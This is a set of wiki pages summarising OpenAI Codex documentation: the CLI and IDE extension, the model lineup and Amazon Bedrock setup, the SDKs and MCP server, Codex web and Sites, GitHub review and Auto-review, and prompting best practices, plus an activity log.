TUI shortcuts: `@` for fuzzy file search; `!ls` runs a shell command; `Tab` queues input/slash commands for the next turn; `Enter` mid-run injects instructions; double-`Esc` edits a previous message and forks; `Ctrl+G` opens `$VISUAL`/`$EDITOR` for long prompts; `Ctrl+R` searches prompt history; `Ctrl+O` copies the latest output. Set up your environment (venvs, daemons, env vars) before launching so Codex doesn't spend tokens probing.

## Related Entities

- [[entities/codex-app]] — desktop shell over the same agent; app-server protocol details
- [[entities/codex-ide-extension]] — shares `~/.codex/config.toml` and the CLI binary
- [[entities/codex-models]] — model lineup, Fast mode credit rates, Bedrock provider
- [[entities/codex-sdk]] — programmatic control beyond `codex exec`
- [[concepts/configuration]] — `config.toml` precedence and profiles
- [[syntheses/sandbox-approval-guide]] and [[syntheses/workflow-recipes]] — choosing flags safely
- [[summaries/casebook-auth-limits]] — login and rate-limit failure modes



<!-- ===== codex/wiki/entities/codex-ide-extension.md ===== -->

---
title: "Codex IDE Extension"
type: entity
tags: [surface, vscode, cursor, windsurf, jetbrains]
created: 2026-06-10
updated: 2026-06-10
confidence: high
sources: ["raw/llms_txt_doc-codex-ide-extension.md", "raw/llms_txt_doc-codex-ide-extension-features.md", "raw/llms_txt_doc-codex-ide-extension-commands.md", "raw/llms_txt_doc-codex-ide-extension-settings.md", "raw/llms_txt_doc-codex-ide-extension-slash-commands.md"]
---

## Overview

The Codex IDE extension brings the Codex agent into VS Code and VS Code forks (Cursor, Windsurf), letting you work side by side with Codex or delegate tasks to Codex Cloud. It uses the same agent as the Codex CLI and shares the same configuration (`~/.codex/config.toml`). Install from the Visual Studio Code Marketplace (`openai.chatgpt`) or per-editor links; a separate JetBrains integration covers Rider, IntelliJ, PyCharm, WebStorm, and supports ChatGPT sign-in, an API key, or a JetBrains AI subscription. Available on macOS, Windows (native sandbox or WSL2), and Linux. ChatGPT Plus, Pro, Business, Edu, and Enterprise plans include Codex.

## Characteristics

- **Editor context prompting**: open files and selections feed the prompt; reference files inline with `@file` tags (e.g., `Use @example.tsx as a reference...`). `/auto-context` toggles automatic inclusion of recent files and IDE context.
- **Model and reasoning controls**: a switcher under the chat input changes models and sets reasoning effort `low`, `medium`, or `high`. Start with `medium`; higher effort uses more tokens and rate limit. See [[entities/codex-models]].
- **Approval modes**: default is `Agent` (read/edit/run inside the working directory; asks for outside access or network). `Chat` is for conversation/planning only. `Agent (Full Access)` removes approval for network and broader access — use with caution. See [[concepts/sandboxing-approvals]].
- **Cloud delegation**: pick a cloud environment and select **Run in the cloud**; run from `main` or from local changes. Codex carries the local conversation context into the cloud task, and you can apply resulting diffs locally to finish. Tasks also appear at chatgpt.com/codex. See [[concepts/cloud-tasks]] and [[entities/codex-web]].
- **Web search**: enabled by default with cached results; full-access sandboxes default to live results; configure via [[concepts/configuration]].
- **Images**: drag-and-drop images into the composer — hold `Shift` while dropping (VS Code otherwise blocks the drop). Image generation works in-editor via natural language or `$imagegen` (uses `gpt-image-2`; consumes included limits 3-5x faster; set `OPENAI_API_KEY` and route through the API for large batches).
- **App sync**: when the Codex desktop app is open on the same project, threads and Auto Context sync both ways ([[entities/codex-app]]).
- **Layout**: in VS Code, Codex opens in the right sidebar by default; restart if it doesn't appear. In Cursor the horizontal activity bar can hide Codex — pin it, or temporarily set the activity bar orientation to `vertical`, drag Codex to the right sidebar, then restore `horizontal`. The extension updates automatically.

## How to Use

Command Palette commands (bind via **Preferences: Open Keyboard Shortcuts**, searching `Codex` or the command ID):

| Command | Default key binding | Description |
| --- | --- | --- |
| `chatgpt.addToThread` | - | Add selected text range as context for the current thread |
| `chatgpt.addFileToThread` | - | Add the entire file as context for the current thread |
| `chatgpt.newChat` | macOS: `Cmd+N` / Windows-Linux: `Ctrl+N` | Create a new thread |
| `chatgpt.implementTodo` | - | Ask Codex to address the selected TODO comment |
| `chatgpt.newCodexPanel` | - | Create a new Codex panel |
| `chatgpt.openSidebar` | - | Opens the Codex sidebar panel |

Slash commands (type `/` in the chat input):

| Slash command | Description |
| --- | --- |
| `/auto-context` | Turn Auto Context on or off |
| `/cloud` | Switch to cloud mode (requires cloud access) |
| `/cloud-environment` | Choose the cloud environment (cloud mode only) |
| `/feedback` | Open the feedback dialog, optionally with logs |
| `/goal` | Set a persistent goal |
| `/local` | Switch back to local mode |
| `/review` | Review uncommitted changes or compare against a base branch |
| `/status` | Show thread ID, context usage, and rate limits |

If `/goal` is missing, set `[features]` `goals = true` in `config.toml` or run `codex features enable goals`.

Editor settings (search `Codex` in editor settings; agent behavior like model/approvals/sandbox lives in shared `~/.codex/config.toml` instead):

| Setting | Description |
| --- | --- |
| `chat.fontSize` | Chat text in the Codex sidebar (conversation + composer) |
| `chat.editor.fontSize` | Code-rendered content (snippets and diffs) |
| `chatgpt.cliExecutable` | Development only: path to the Codex CLI executable; setting it manually can break the extension |
| `chatgpt.commentCodeLensEnabled` | Show CodeLens above to-do comments to complete them with Codex |
| `chatgpt.localeOverride` | Preferred UI language; empty = auto-detect |
| `chatgpt.openOnStartup` | Focus the Codex sidebar on startup |
| `chatgpt.runCodexInWindowsSubsystemForLinux` | Windows only: run Codex in WSL when available (reloads VS Code) |

## Related Entities

- [[entities/codex-cli]] — the underlying agent and shared config; `/ide` in the CLI pulls editor context
- [[entities/codex-app]] — desktop app that syncs Auto Context and threads with the extension
- [[entities/codex-web]] — view and continue delegated cloud tasks
- [[concepts/configuration]] — `config.toml` is the source of truth for model, approvals, sandbox
- [[concepts/agents-md]] — persistent repo instructions the extension honors
- [[syntheses/surface-picker]] — when to choose the IDE extension over other surfaces
- [[summaries/casebook-runtime]] — known extension issues (e.g., SSH/remote sessions)



<!-- ===== codex/wiki/entities/codex-models.md ===== -->

---
title: "Codex Models"
type: entity
tags: [models, gpt-5, codex-spark, bedrock, model-selection]
created: 2026-06-10
updated: 2026-06-10
confidence: high
sources: ["raw/llms_txt_doc-codex-models.md", "raw/llms_txt_doc-use-codex-with-amazon-bedrock.md", "raw/llms_txt_doc-speed.md"]
---

## Overview

Codex runs on a small set of recommended OpenAI models, with `gpt-5.5` as the default starting point for most tasks. You can also point Codex at any provider supporting the Responses API (Chat Completions support is deprecated and will be removed), including OpenAI models served through Amazon Bedrock for AWS-native authentication and access control.

## Characteristics

Recommended lineup (as of 2026-06):

| Model | Profile | Surfaces | Notes |
| --- | --- | --- | --- |
| `gpt-5.5` | Newest frontier model: complex coding, computer use, knowledge work, research | CLI/SDK, app, IDE extension (not Codex Cloud) | ChatGPT credits + API access |
| `gpt-5.4` | Flagship for professional work: coding, reasoning, tool use, agentic workflows | CLI/SDK, app, IDE extension (not Codex Cloud) | ChatGPT credits + API access |
| `gpt-5.4-mini` | Fast, efficient mini model for lighter tasks and subagents | CLI/SDK, app, IDE extension (not Codex Cloud) | ChatGPT credits + API access |
| `gpt-5.3-codex-spark` | Text-only research preview optimized for near-instant, real-time iteration | CLI/SDK, app, IDE extension (not Codex Cloud) | ChatGPT Pro only; no ChatGPT credits, no API access; its own usage limits |

- **Deprecated**: `gpt-5.2` and `gpt-5.3-codex` are deprecated for ChatGPT sign-in — update scripts, config files, and `codex exec --model` references. Some deprecated models remain available via API-key authentication (check the API models page).
- **Fast mode vs Codex-Spark**: Fast mode speeds a supported model 1.5x at a higher credit rate — 2.5x Standard for GPT-5.5, 2x for GPT-5.4 — and requires ChatGPT sign-in (API keys use standard API pricing, no Fast credits). Codex-Spark is a separate, less-capable model choice with its own limits, not a tier. Fast mode is unavailable on Amazon Bedrock (Bedrock's initial offering is on-demand inference only, while Fast mode uses priority processing). Toggle with `/fast on|off|status`; persist with `service_tier = "fast"` plus `[features].fast_mode = true` in `config.toml`.
- **Reasoning effort**: choose `low`, `medium`, or `high` per model (e.g., via the IDE extension switcher or `/model` in the CLI). Higher effort improves depth on complex tasks but takes longer and consumes rate limits faster.
- **Cloud tasks**: you currently can't change the default model for Codex cloud tasks ([[concepts/cloud-tasks]]).
- **Amazon Bedrock option**: Codex runs locally but sends model requests to Bedrock's OpenAI-compatible Responses API implementation — the OpenAI-hosted Responses API is out of the request path. Authentication is AWS-native (no ChatGPT sign-in, no `OPENAI_API_KEY`). Supported model IDs (exact): `openai.gpt-5.5` and `openai.gpt-5.4`; availability varies by AWS Region. Commercial Regions only (no GovCloud). Feature trade-offs: local surfaces (app, CLI, IDE extension, SDK/exec), local review, sandboxing, automations, worktrees, MCP, subagents, and `requirements.toml` managed config all work; Codex web, cloud tasks, GitHub/Slack/Linear integrations, Sites, image generation, web search, voice dictation, Fast mode, plugin sharing, Chronicle, and enterprise analytics/RBAC don't; Browser Use, Chrome control, Computer Use, Memories, and plugins are limited.

## How to Use

Set a default local model in the shared `config.toml` ([[concepts/configuration]]) used by the CLI, IDE extension, and app:

```toml
model = "gpt-5.5"
```

Switch temporarily: `/model` during a CLI thread, the model selector under the IDE extension's input box, or the `--model`/`-m` flag:

```bash
codex -m gpt-5.5
```

Bedrock setup — add the provider to `~/.codex/config.toml` (supplying a model is optional):

```toml
model_provider = "amazon-bedrock"
```

Then authenticate via one of two paths, checked in order: (1) a Bedrock API key — `export AWS_BEARER_TOKEN_BEDROCK=<your-bedrock-api-key>` and `export AWS_REGION=us-east-2` (Region required with API-key auth); or (2) the AWS SDK credential chain — shared config files (`aws configure`), env vars (`AWS_ACCESS_KEY_ID`/`AWS_SECRET_ACCESS_KEY`/`AWS_SESSION_TOKEN`), `aws login`, SSO (`aws sso login --profile codex-bedrock` + `export AWS_PROFILE=codex-bedrock`), or `credential_process` federation. The desktop app and VS Code extension may not inherit shell env vars: put the values in `~/.codex/.env` and restart. Verify with `/status` in the CLI (confirm the `amazon-bedrock` provider). Troubleshooting: exact model ID, Region availability, unexpired credentials, IAM permission to the model, no stale `AWS_BEARER_TOKEN_BEDROCK`. OpenAI Support covers the Codex client side; AWS Support covers IAM, quotas, billing, and Bedrock service behavior.

Local open-source models are also possible via `codex --oss` (Ollama-backed provider) — see [[entities/codex-cli]].

Choosing: start with `gpt-5.5`; drop to `gpt-5.4-mini` for lighter tasks and [[concepts/subagents]]; use `gpt-5.3-codex-spark` (Pro) for rapid interactive iteration; use Fast mode when you want the frontier model faster and accept the credit multiplier; use Bedrock when your organization requires AWS-managed auth and is fine losing OpenAI-hosted cloud features.

## Related Entities

- [[entities/codex-cli]] — `/model`, `/fast`, `--model`, `--oss`
- [[entities/codex-ide-extension]] — model switcher and reasoning effort UI
- [[entities/codex-sdk]] — passing `model=` programmatically
- [[entities/codex-web]] — cloud tasks (fixed default model)
- [[concepts/authentication]] — ChatGPT sign-in vs API key vs AWS-native auth
- [[syntheses/auth-plan-picker]] — plan and auth choices that gate model access
- [[summaries/release-digest]] — model deprecations and additions over time



<!-- ===== codex/wiki/entities/codex-sdk.md ===== -->

---
title: "Codex SDK (TypeScript and Python) and Agents SDK Integration"
type: entity
tags: [sdk, typescript, python, mcp, multi-agent, automation]
created: 2026-06-10
updated: 2026-06-10
confidence: high
sources: ["raw/llms_txt_doc-codex-sdk.md", "raw/llms_txt_doc-use-codex-with-the-agents-sdk.md"]
---

## Overview

The Codex SDK lets you control Codex programmatically — for CI/CD pipelines, building Codex into internal tools and applications, or creating your own agent that delegates engineering tasks to Codex. It's more comprehensive and flexible than non-interactive `codex exec` ([[concepts/non-interactive-exec]]). Two libraries exist: a TypeScript library (`@openai/codex-sdk`, server-side, Node.js 18+) and a Python library (`openai-codex`, Python 3.10+, beta) that drives the local Codex app-server over JSON-RPC. A complementary pattern runs Codex itself as an MCP server (`codex mcp-server`) so MCP clients — notably agents built with the OpenAI Agents SDK — can orchestrate it.

## Characteristics

- **TypeScript SDK**: `npm install @openai/codex-sdk`. Thread-based API: `new Codex()`, `codex.startThread()`, `await thread.run("prompt")`; call `run()` again to continue, or `codex.resumeThread(threadId)` to pick up a past thread.
- **Python SDK**: `pip install openai-codex`. Published builds include a pinned Codex CLI runtime; pass `CodexConfig(codex_bin=...)` only to target a specific local executable. While in beta, plain `pip install` selects the latest beta; after a stable release, use `pip install --pre openai-codex` for prereleases. Sync (`Codex`) and async (`AsyncCodex`) clients; `codex.thread_start(model="gpt-5.4", sandbox=Sandbox.workspace_write)`, `thread.run(...)`, `result.final_response`.
- **Sandbox presets (Python)**: `Sandbox.read_only` (read, no writes), `Sandbox.workspace_write` (write inside workspace + configured writable roots), `Sandbox.full_access` (no filesystem restrictions). A sandbox passed to `run(...)`/`turn(...)` applies to that turn and later turns on the thread; omitting `sandbox=` uses the app-server default. See [[concepts/sandboxing-approvals]].
- **Codex as an MCP server**: `codex mcp-server` runs over stdio and exposes two tools. `codex` starts a session with properties: `prompt` (required), `approval-policy` (`untrusted`, `on-request`, `never`), `base-instructions`, `config` (overrides `$CODEX_HOME/config.toml`), `cwd`, `include-plan-tool`, `model`, `profile`, `sandbox` (`read-only`, `workspace-write`, `danger-full-access`). `codex-reply` continues a session with `prompt` and `threadId` (both required; `conversationId` is a deprecated alias). Read the `threadId` from `structuredContent.threadId` in the `tools/call` response; approval prompts also carry `threadId`. Inspect with `npx @modelcontextprotocol/inspector codex mcp-server`. See [[concepts/mcp-integration]].
- **Agents SDK orchestration**: wrap the MCP server in `MCPServerStdio(params={"command": "codex", "args": ["mcp-server"]}, client_session_timeout_seconds=360000)` and attach it to Agents SDK `Agent`s via `mcp_servers=[...]`. For unattended file-writing agents, instructions typically pin `{"approval-policy": "never", "sandbox": "workspace-write"}` on every Codex call. Multi-agent pipelines (e.g., Project Manager gating handoffs to Designer/Frontend/Backend/Tester agents) get full traces in the OpenAI Traces dashboard (platform.openai.com/trace) — prompts, Codex MCP calls, files written, durations — with no extra instrumentation.

## How to Use

TypeScript:

```ts
const codex = new Codex();
const thread = codex.startThread();
const result = await thread.run(
  "Make a plan to diagnose and fix the CI failures"
);
// continue the same thread
const result2 = await thread.run("Implement the plan");
// resume a past thread
const thread2 = codex.resumeThread("<thread-id>");
```

Python:

```python
from openai_codex import Codex, Sandbox

with Codex() as codex:
    thread = codex.thread_start(
        model="gpt-5.4",
        sandbox=Sandbox.workspace_write,
    )
    result = thread.run("Make a plan to diagnose and fix the CI failures")
    print(result.final_response)
```

Per-turn sandbox tightening:

```python
thread = codex.thread_start(sandbox=Sandbox.workspace_write)
thread.run("Make the requested change.")
review = thread.run("Review the diff only.", sandbox=Sandbox.read_only)
```

Agents SDK prerequisites: Codex CLI installed locally (the `codex` command on PATH), Python 3.10+ with `pip`, an OpenAI API key in `.env`, and `pip install --upgrade openai openai-agents python-dotenv`. Start the server inside `async with MCPServerStdio(...)`, define agents with `mcp_servers=[codex_mcp_server]`, wire `handoffs`, and run via `Runner.run(...)`. SDK source lives in the Codex repo at `sdk/typescript` and `sdk/python`; the full multi-agent walkthrough is in the OpenAI Cookbook.

Choosing an integration layer: use `codex exec` for simple scripted runs, the Codex SDK for in-application thread control, the app-server protocol directly for deep product integrations like custom UIs ([[entities/codex-app]] documents the protocol), the MCP-server route when another agent framework is the orchestrator, and the GitHub Action for CI ([[entities/github-integrations]]).

## Related Entities

- [[entities/codex-cli]] — `codex exec`, `codex mcp-server`, and the runtime the SDKs pin
- [[entities/codex-app]] — the app-server JSON-RPC protocol the Python SDK rides on
- [[entities/codex-models]] — model IDs to pass as `model=` (e.g., `gpt-5.4`)
- [[entities/github-integrations]] — CI alternative via `openai/codex-action@v1`
- [[concepts/non-interactive-exec]] — the simpler scripting layer below the SDK
- [[concepts/configuration]] — `$CODEX_HOME/config.toml` overrides via the `config` property
- [[syntheses/workflow-recipes]] — multi-agent and automation patterns



<!-- ===== codex/wiki/entities/codex-web.md ===== -->

---
title: "Codex Web (Codex Cloud) and Sites"
type: entity
tags: [surface, cloud, web, sites, deployment]
created: 2026-06-10
updated: 2026-06-10
confidence: high
sources: ["raw/llms_txt_doc-codex-web.md", "raw/llms_txt_doc-sites.md"]
---

## Overview

Codex web is the browser surface for Codex cloud: Codex works on tasks in the background — including in parallel — using its own cloud environment, then proposes diffs and pull requests. Setup is at chatgpt.com/codex: connect your GitHub account so Codex can read your repositories and create pull requests. Plus, Pro, Business, Edu, and Enterprise plans include it; some Enterprise workspaces require admin setup first ([[concepts/enterprise-admin]]). Closely tied to it is **Sites**, a plugin that lets Codex create, save, deploy, and inspect OpenAI-hosted websites, web apps, and games.

## Characteristics

- **Background, parallel execution**: cloud tasks run in configured environments (repo, setup steps, tools) rather than on your machine — see [[concepts/cloud-tasks]].
- **Entry points beyond the browser**: delegate from the IDE extension's cloud mode ([[entities/codex-ide-extension]]), from the CLI via `codex cloud` ([[entities/codex-cli]]), from GitHub by tagging `@codex` on issues and PRs ([[entities/github-integrations]]), and from Slack or Linear ([[entities/chat-integrations]]).
- **Internet access control**: you decide whether cloud environments can reach the public internet.
- **Sites availability**: preview, currently for ChatGPT Business and Enterprise workspaces. Business has it enabled by default; Enterprise admins must enable Sites via role-based access control (RBAC) in ChatGPT admin settings before members can use it.
- **Sites model — projects, versions, deployments**: a Sites project links a local source project to OpenAI-managed hosting; the linkage and storage binding names live in `.openai/hosting.json` (e.g., `{"project_id": "<project-id>", "d1": "DB", "r2": null}`). Publishing has two stages: **save a version** (build + associate with the source Git commit; a reviewable candidate) and **deploy a version** (publish; every Sites deployment URL is a production deployment — there is no staging URL).
- **Supported site shape**: Sites hosts projects that build Cloudflare Worker-compatible output as ES modules. Storage options: **D1** (relational database for durable structured data), **R2** (object storage for uploads), D1+R2 for files with searchable metadata, workspace-authenticated identity for internal tools, or an authentication-enabled project for public sign-in. Don't request durable storage for ephemeral presentation state.
- **Access modes**: `admins_only` (owner + workspace admins), `workspace_all` (all active workspace users), `custom` (chosen users/groups; owner always retains access). Keep new sites at owner/admins until reviewed.
- **Secrets**: configure hosted environment variables and secrets in the Sites panel (sidebar > project), never in `.openai/hosting.json` and never committed; keep local `.env`/`.env.example` keys aligned. After changing hosted values, ask Codex to redeploy the approved saved version.

## How to Use

Codex web: go to chatgpt.com/codex, connect GitHub, configure an environment, and submit prompts. Invest in prompting quality and `AGENTS.md` guidance ([[concepts/agents-md]], [[summaries/best-practices-prompting]]) since you can't steer interactively mid-run the way you can locally.

Sites workflow:

1. (Enterprise) Have an admin enable Sites via RBAC at chatgpt.com/admin/settings.
2. In the Codex app, open **Plugins**, add **Sites**, and start a new thread after installing ([[concepts/skills-plugins]]).
3. Describe the site in a thread; name the plugin explicitly with `@Sites` when the task should end in a hosted deployment.
4. Ask Codex to validate the build, then either save a deployable version for review or deploy the approved saved version.
5. Return via **Sites** in the app sidebar to inspect saved versions, check deployment status, or change access.

Verbatim prompt patterns:

```text
@Sites Build a project request dashboard for my operations team. Let team
members submit requests, see who owns each one, update the status, and filter
the list. Require people to sign in with their workspace account, and keep the
request data saved between visits.
```

```text
@Sites Deploy this project. Check whether it is compatible with Sites, make any
required changes, and give me the deployment URL.
```

```text
@Sites Change this deployed site's access to everyone in my workspace after
showing me the current site and confirming the deployment URL.
```

Pre-share checklist: review source changes and database migrations in the review pane; confirm the build succeeded and the selected saved version is the one you intend to publish; check the audience; confirm secrets went through Sites, not source files; after deployment, have Codex confirm status and the production URL.

## Related Entities

- [[concepts/cloud-tasks]] — environments, internet access, and task lifecycle behind Codex web
- [[entities/github-integrations]] — `@codex` delegation and code review from GitHub
- [[entities/chat-integrations]] — Slack and Linear front doors to the same cloud tasks
- [[entities/codex-app]] — where the Sites plugin and review pane live
- [[entities/codex-ide-extension]] — cloud delegation and local follow-up
- [[syntheses/surface-picker]] — local vs cloud decision guidance
- [[summaries/release-digest]] — recent changes to cloud features



<!-- ===== codex/wiki/entities/github-integrations.md ===== -->

---
title: "GitHub Integrations (Code Review, GitHub Action, Auto-Review, Open Source Program)"
type: entity
tags: [github, code-review, ci-cd, auto-review, open-source]
created: 2026-06-10
updated: 2026-06-10
confidence: high
sources: ["raw/llms_txt_doc-codex-code-review-in-github.md", "raw/llms_txt_doc-codex-github-action.md", "raw/llms_txt_doc-auto-review.md", "raw/llms_txt_doc-review.md", "raw/llms_txt_doc-codex-for-open-source.md"]
---

## Overview

Codex meets GitHub in several distinct ways: **Codex code review in GitHub** (cloud-backed PR reviews triggered by `@codex review`), the **Codex GitHub Action** (`openai/codex-action@v1` for running `codex exec` in CI), the local **review pane** in the Codex app (which can also pull PR context via `gh`), and the **Codex for Open Source** program. A related but different mechanism is **Auto-review**: a sandbox-boundary reviewer agent that replaces manual approval prompts — it reviews escalations, not pull requests.

## Characteristics

- **Code review in GitHub**: requires [[concepts/cloud-tasks]] set up for the repo, plus **Code review** turned on at chatgpt.com/codex/settings/code-review. Trigger with the exact comment `@codex review`; Codex reacts with 👀 and posts a standard GitHub review flagging only P0 and P1 issues. **Automatic reviews** (same settings page) review every newly opened PR without a comment. Codex follows **Review guidelines** sections in `AGENTS.md`, applying the closest file to each change ([[concepts/agents-md]]); one-off focus works inline (`@codex review for security regressions`). Follow-ups like `@codex fix the P1 issue` or any non-review mention (`@codex fix the CI failures`) start a cloud task with the PR as context and can push to the branch.
- **GitHub Action**: `openai/codex-action@v1` installs the CLI, starts a Responses API proxy when given `openai-api-key`, and runs `codex exec` ([[concepts/non-interactive-exec]]). Inputs: `prompt` or `prompt-file` (exactly one), `codex-args` (JSON array or shell string, e.g. `["--ephemeral"]`), `model`, `effort`, `sandbox` (`workspace-write`, `read-only`, `danger-full-access`), `output-file`, `codex-version`, `codex-home`. Output: `final-message`. Privilege controls: `safety-strategy` (default `drop-sudo`, irreversible per job; Windows requires `safety-strategy: unsafe`), `unprivileged-user` with `codex-user`, `read-only`, `allow-users`/`allow-bots` (default: only users with write access can trigger). Linux/macOS runners; check out code first.
- **Auto-review (sandbox approvals)**: with `approvals_reviewer = "auto_review"` and an interactive approval policy (`approval_policy = "on-request"`), eligible escalation requests — escalated shell permissions, blocked network requests, writes outside writable roots, MCP/app tool calls needing approval, Browser Use access to new domains — go to a separate reviewer agent instead of pausing for a human. It's a reviewer swap, not a permission grant: no expanded `writable_roots` or network. It blocks exfiltration of secrets, credential probing, persistent security weakening, and high-risk destructive actions. Circuit breaker: the turn aborts after `3` consecutive denials or `10` denials within the last `50` reviews in a turn. `/approve` in the TUI opens the Auto-review Denials picker for a one-retry override of one exact denied action (still re-reviewed). Policy customization: `[auto_review]` `policy = """..."""` in `config.toml` (managed `guardian_policy_config` takes precedence). Reduce review volume by adding narrow `writable_roots` and precise prefix rules like `["cargo", "test"]` — not broad ones like `["python"]`. Computer Use app approvals still surface to the user. Transcripts are retained under `~/.codex/sessions`.
- **App review pane + PRs**: the review pane (Git repos only) shows uncommitted changes, all branch changes, or last-turn changes, with staged/unstaged toggles, inline comments, and stage/unstage/revert at diff, file, or hunk level. `/review` results appear inline. With the GitHub CLI installed and authenticated (`gh auth login`), the pane loads PR context, reviewer comments, and changed files so you can ask Codex to fix specific comments, then stage, commit, and push from the app.
- **Codex for Open Source**: the $1M Codex Open Source Fund now offers eligible maintainers six months of ChatGPT Pro with Codex, conditional Codex Security access for core maintainers with write access (reviewed case by case), and API credits for projects using Codex in PR review, maintainer automation, or release workflows. Apply at openai.com/form/codex-for-oss/.

## How to Use

Cloud PR review: set up Codex cloud → enable **Code review** for the repo → comment `@codex review`. Repository guidance lives in a top-level `AGENTS.md`:

```md
## Review guidelines

- Don't log PII.
- Verify that authentication middleware wraps every route.
```

GitHub Action minimal step (store the key as a secret; consider keeping prompts in `.github/codex/prompts/`):

```yaml
- name: Run Codex
  id: run_codex
  uses: openai/codex-action@v1
  with:
    openai-api-key: ${{ secrets.OPENAI_API_KEY }}
    prompt-file: .github/codex/prompts/review.md
    output-file: codex-output.md
```

Map `final-message` to a job output and post it with `actions/github-script`. For structured output, pass `--output-schema` through `codex-args`. Security checklist: limit who can trigger, sanitize PR/issue text against prompt injection, keep `drop-sudo` or use an unprivileged user, run Codex as the last step in the job, rotate keys on suspected exposure.

Troubleshooting reviews: confirm Code review is on, the repo has Codex cloud, the trigger is exactly `@codex review`, and (for automatic reviews) the PR event matches your trigger settings.

## Related Entities

- [[entities/codex-web]] — cloud task surface that GitHub reviews and `@codex` mentions run on
- [[entities/codex-cli]] — local `/review` presets and `/approve` for auto-review denials
- [[entities/codex-app]] — review pane and PR feedback loop
- [[entities/chat-integrations]] — Slack/Linear, the other delegation front doors
- [[concepts/sandboxing-approvals]] — the boundary auto-review guards
- [[syntheses/workflow-recipes]] — end-to-end PR review and CI recipes
- [[summaries/casebook-auth-limits]] — API key and permission failure modes in CI



<!-- ===== codex/wiki/log.md ===== -->

---
title: "Activity Log"
type: log
---

# Activity Log

Append-only record of all wiki changes.

## Format

Each entry follows this format:
```
### YYYY-MM-DD HH:MM — [Action Type]
- **Source/Trigger**: what initiated the action
- **Pages created**: list of new pages
- **Pages updated**: list of updated pages
- **Notes**: any contradictions flagged, decisions made
```

---

### 2026-04-08 00:00 — Setup

- **Source/Trigger**: Repository initialized
- **Pages created**: index.md, log.md, dashboard.md, analytics.md, flashcards.md
- **Pages updated**: none
- **Notes**: Empty knowledge base ready for first source ingestion

---

### 2026-06-10 — [Initial compilation]
- **Source/Trigger**: KB created via source-pipeline (create_kb.py + agent curation per RECIPE Phase 3, MEDIUM retention ring)
- **Pages created**: full initial set — see index.md (concepts, entities, summaries incl. solved-issue casebooks, decision syntheses)
- **Sources**: 162 provenance-stamped files in raw/ (llms.txt docs set, github docs/releases/issues)
- **Notes**: gaps recorded in index.md Gaps/TODO; casebook claims from open issues marked low-confidence

### 2026-06-11 14:32 — [Community source preparation]
- **Source/Trigger**: User asked to prepare the next community-source batch after source discovery
- **Pages created**: [[summaries/community-source-batch-2026-06-11]]
- **Pages updated**: [[index]]
- **Sources**: added `raw/community-source-batch-2026-06-11.md`
- **Notes**: Prepared prioritized ingest map for GitHub Discussions and Reddit community reports. Usage-limit claims remain low-confidence until corroborated by official docs, maintainer confirmation, or multiple independent source clusters.

### 2026-06-11 — [Field verification: Windows app]
- **Source/Trigger**: Hands-on Windows 11 testing, plus same-day live fetches (openai/codex issues #14141/#15314, live sandboxing concept page)
- **Pages created**: [[summaries/field-notes-windows-app]]
- **Pages updated**: [[summaries/casebook-runtime]] (new section E: worktrees & handoff), [[concepts/cloud-tasks]], [[entities/codex-app]], [[syntheses/workflow-recipes]], [[index]]
- **Sources**: added `raw/field-notes-windows-app-2026-06-11.md`
- **Notes**: Four contradictions between docs/KB and observed behavior, all corrected in-place: (1) worktree uncommitted-change carry-over is **conditional** (base branch must be the current branch holding the changes) — KB previously stated it unconditionally; (2) **Hand off control missing on worktree threads** (#14141 closed-unresolved, #15314 open) while docs describe the old flow — field-verified manual exits recorded in casebook E1; (3) the app's `/status` lacks the CLI's sandbox/writable-roots readout; (4) Settings section labeled "Configuration" on the Windows build vs "Agent configuration" in docs. Also recorded: app permissions-selector labels (Default permissions / Auto-review / Full access / Custom), "Create branch here" does not commit, thread-mode selector is new-thread-composer-only, Windows worktree path confirmed under `%USERPROFILE%\.codex\worktrees`.



<!-- ===== codex/wiki/summaries/best-practices-prompting.md ===== -->

---
title: "Best Practices and Prompting for Codex"
type: summary
tags: [best-practices, prompting, agents-md, skills, workflows]
created: 2026-06-10
updated: 2026-06-10
confidence: high
sources: ["raw/llms_txt_doc-best-practices.md", "raw/llms_txt_doc-prompting.md", "raw/llms_txt_doc-workflows.md", "raw/llms_txt_doc-building-an-ai-native-engineering-team.md"]
---

# Best Practices and Prompting for Codex

## Key Points

### Prompt structure

- Default prompt skeleton (official): **Goal** (what to change/build), **Context** (`@`-mention files, errors, docs), **Constraints** (standards, do-not rules), **Done when** (tests pass, behavior changes, bug no longer reproduces).
- Codex produces higher-quality output when it can **verify its work** — include repro steps, validation commands, lint/pre-commit checks in the prompt.
- Break complex work into smaller focused steps; if unsure how to split, ask Codex to propose a plan.
- Reasoning effort: Low for fast well-scoped tasks; Medium/High for complex changes or debugging; Extra High for long agentic reasoning-heavy tasks.
- One thread per coherent unit of work — "one thread per project instead of one thread per task" is an explicitly listed common mistake (bloated context, worse results).

### Plan first for hard tasks

- **Plan mode**: toggle with `/plan` or Shift+Tab; Codex gathers context and asks clarifying questions before implementing.
- Alternative: ask Codex to **interview you** ("challenge my assumptions") before coding; or use a `PLANS.md` execution-plan template for long multi-step work.
- **Goal mode** (`/goal`): goal text is both starting prompt and completion criteria; write goals so success is checkable (e.g., "compile in strict mode without explicit `any`"). Enable via `[features]` `goals = true` in `config.toml` or `codex features enable goals`.

### Durable guidance: AGENTS.md

- `AGENTS.md` is "an open-format README for agents", auto-loaded into context. Cover: repo layout, how to run, build/test/lint commands, conventions, do-not rules, definition of done. Scaffold with `/init`.
- Layering: global `~/.codex/AGENTS.md` → repo root → subdirectory files; the file closest to the working directory wins. Short and accurate beats long and vague; add rules only after repeated mistakes; ask Codex for a retrospective when it makes the same mistake twice. Details: [[concepts/agents-md]] and [[syntheses/workflow-recipes]].

### Escalation ladder for repeated work

- Repeated prompt → **skill** (SKILL.md in `$HOME/.agents/skills` personal, `.agents/skills` in-repo for teams; scaffold with `$skill-creator`; the description is the most important part).
- Stable skill → **automation** (scheduled background run in the Codex app). Official rule: "skills define the method, automations define the schedule." Don't automate before it's reliable manually. See [[concepts/automations]] and [[concepts/skills-plugins]].
- External/live context → **MCP** ([[concepts/mcp-integration]]); start with one or two tools that remove a real manual loop, not everything at once.

### Verification and review

- Don't stop at the change: have Codex write/update tests, run the right suites, check lint/format/type, confirm behavior, and review the diff.
- `/review` modes: against a base branch (PR-style), uncommitted changes, a commit, or custom instructions. Teams: keep a `code_review.md` referenced from `AGENTS.md`. At OpenAI, Codex reviews 100% of PRs (GitHub integration; `@codex review` on PRs).

### Proven workflow recipes (from the workflows doc)

